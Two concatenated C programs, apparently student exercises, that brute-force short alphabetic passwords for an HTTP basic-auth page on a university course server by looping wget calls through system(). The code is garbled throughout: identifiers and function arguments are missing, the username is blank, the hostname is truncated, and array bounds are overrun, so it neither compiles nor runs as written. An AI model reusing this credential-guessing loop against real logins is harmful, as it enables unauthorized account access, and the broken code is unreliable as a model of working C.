#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>



int ()
{
    int i,j,k,sysoutput;
    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(string1, "wget --http-user= --http-passwd=");
    strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
    
    for (i=0;i<=52;i++)
  { 
     [0] = arr[i];
     [1]  ='\0'; 
     strcpy(a,);
     
     printf("The  first  value is %s \n", a);    	

     for (j=0;j<=52;j++)
       {  [0] = arr[j];
          [1] = '\0'; 
	  strcpy(temp1,a);
	  strcat(a,);
	  strcpy(b,a);
	  strcpy(a,temp1);
	   printf("The  second value is %s \n", b);    	          
	for(k=0;k<=52;k++)
	  {  
	     [0] =arr[k];
	     [1] = '\0';
	     strcpy(temp1,b);
	     strcat(b,);
	     strcpy(pass,b);
	     strcpy(b,temp1);
	     pass[0] = arr[i];
           pass[1]= arr[j];
           pass[2]= arr[k];
           pass[3] = '\0';
		printf(" the  third  value of   the %s \n" ,pass);    
                 

		printf("%s\n",pass);
	  printf("*********\n" );
          strcat(string1, pass);
          strcat(string1, string2);
	  printf("\n executing %s\n", string1);
          sysoutput = system(string1);
          if (sysoutput == 0)
          {
            printf("\nsuccess %d %s\n",sysoutput,pass);
            exit(1);
          }


	  strcpy(string1, "");
	  strcpy(string1, "wget --http-user= --http-passwd=");
          
	         }
  	}   
   }
 }  
     
    
  
  
  
  
  

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122



int  bruteforce_first(int passlen, int *attempts);
int  bruteforce_two(int passlen, int *attempts);
int  bruteforce_three(int passlen, int *attempts);


int main()
{
	int i, wdlen = 1;
	int runtime;
	int counter ;
	int  initTime = 0, exitTime = 0, runTime = 0;

	initTime = time();
	if (bruteforce_first(wdlen, &counter) == 2) {
		wdlen++;
		if (bruteforce_two(wdlen, &counter) == 3) {
			wdlen++;
			if (bruteforce_three(wdlen, &counter) == 0)
				printf("Success In Breaking The  Password");
			else
				printf("Failure !!!!!!");
		}
	} else {
		printf("Success In Breaking The  Password");
	}


	exitTime = time();
	runTime = (exitTime - initTime);

	printf("\nNumber of attempts  is... %d", counter);
	printf("\nTime taken is %lld milli seconds\n", (runTime)/());
	return 0;
}

int bruteforce_first(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char  *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	for (i = MINCHAR; i <= MAXCHAR; i++) {
		if (i == 91)
			i = i + 6;
		str[passlen - 1] = i;		
		puts(str);
		(*attempts)++;

		char [100];
		sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

		if (system() == 0) {
			printf("Password cracked successfully:");
			printf("Password is %s", str);
			return 0;
		}
	}
	return 2;
}

int bruteforce_two(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';


	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);

				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 0;			
			if (str[i] == 'Z') {
				str[i] = 'a';
			} else
				str[i]++;

		}
	return 3;
}


int bruteforce_three(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;


	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);
				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);


				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 1;
			while (i <= passlen - 1) {
				if (str[passlen - i - 1] == 'z') {
					str[passlen - i - 1] = MINCHAR;
					str[passlen - 1 - 2]++;
					break;
				} else {
					if (str[passlen - i - 1] == 'Z') {
						str[passlen - i - 1] = 'a';
						break;
					} else {
						str[passlen - i - 1]++;
						break;
					}
				}
				i++;
			}

		}
	return 0;
}
